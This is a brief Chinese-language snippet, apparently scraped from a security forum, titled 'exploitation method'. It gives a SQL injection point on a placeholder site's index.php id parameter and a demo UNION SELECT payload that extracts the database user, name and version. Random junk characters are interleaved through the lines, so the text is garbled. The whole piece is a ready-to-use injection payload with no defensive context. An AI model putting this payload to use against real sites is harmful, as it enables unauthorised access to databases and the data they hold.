利用方法:
) ]9 @5 w" T4 ~" ~: h http://www.xxx.com/index.php?id=[SQL]7 c8 p( ?) H0 w2 o6 ?: _& A& Q
Demo:
0 A" Z" r, _8 P* b/ y5 `/ s0 o http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |